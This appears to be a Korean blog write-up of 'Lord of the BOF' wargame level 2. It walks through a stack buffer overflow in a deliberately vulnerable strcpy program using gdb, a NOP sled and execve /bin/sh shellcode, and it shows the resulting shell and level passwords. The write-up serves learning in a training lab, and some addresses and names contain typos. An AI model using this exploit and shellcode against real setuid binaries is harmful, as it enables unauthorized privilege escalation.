반응형
LOB Level 2.
pw = 'hello bof world'
int main(int argc, char *argv[]) { char buffer[16]; if(argc < 2){ printf("argv error\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); }
일단 1번 문제와 거의 비슷한데 argv의 개수 제한이 없고, 버퍼의 크기가 작다.
더미가 없다. argv[1]에는 ret를 argv[2]로 덮어줄 값을 입력하고, argv[2]에는 쉘 코드를 넣어주면 된다.
(gdb) b *main+59 Breakpoint 1 at 0x804846b (gdb) r 'python -c 'print "\x90" * 24 '' 'python -c 'print "A" * 30 '' Starting Program: /tmp/cobolt/cobolt 'python -c 'print "\x90" * 24'' 'python -c 'print "A" * 30 ''
main+59에 브레이크 포인트를 걸어 놓고 첫 번째 인자로 nop을 24개 입력해서 ret까지 덮어 보고, 두 번째 인자의 주소를 알기 위해 임시로 A를 30개 입력.
ebp+12에 **argv가 있기 때문에 0xbffffc74 값 12바이트를 보면 첫 4바이트는 argv[0]의 주소 그다음은 4바이트 argv[1]의 주소 그다음 4바이트는 argv[2] 주소. argv[2]의 주소는 0xgffffda4이고 A가 들어가 있다.
이게 exploit을 작성해야 한다.(구글링 참조)
argv[2]의 주소가 바뀌기 때문에 argv[2]의 앞에 nop을 많이 넣어 nop sled(level1에서 설명) 태워서 쉘 코드가 동작하도록 하면 된다. ret 주소는 적당히 argv[2]에서 좀 떨어진 곳에 해야 한다.
function foo() { expolit code = ./cobolt 'python -c 'print "\x90" * 20 + "\x90\xfd\xff\xbf" ' 'python -c 'print "\x90" * 150 + "\x31\xc0\x68\x2f\x2f\x73\x68\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"' }
function foo() { [gremlin@localhost cobolt]$ ~/cobolt 'python -c 'print "\x90" * 20 + "\x90\xfd> ???????????????????????????????? bash$ id uid=501(gremin) gid=501(gremlin) euid=502(cobolt) egid=502(cobolt) groups=501(gremlin) bash$ my-pass euid = 502 hacking exposed bash$ }
반응형
'# Related site issues > LOB' 카테고리의 다른 글
LOB Level 6. (0) | 2018.03.28 |
---|---|
LOB Level 5. (0) | 2018.03.28 |
LOB Level 4. (0) | 2018.03.27 |
LOB Level 3. (0) | 2018.03.27 |
LOB Level 1. (0) | 2018.03.27 |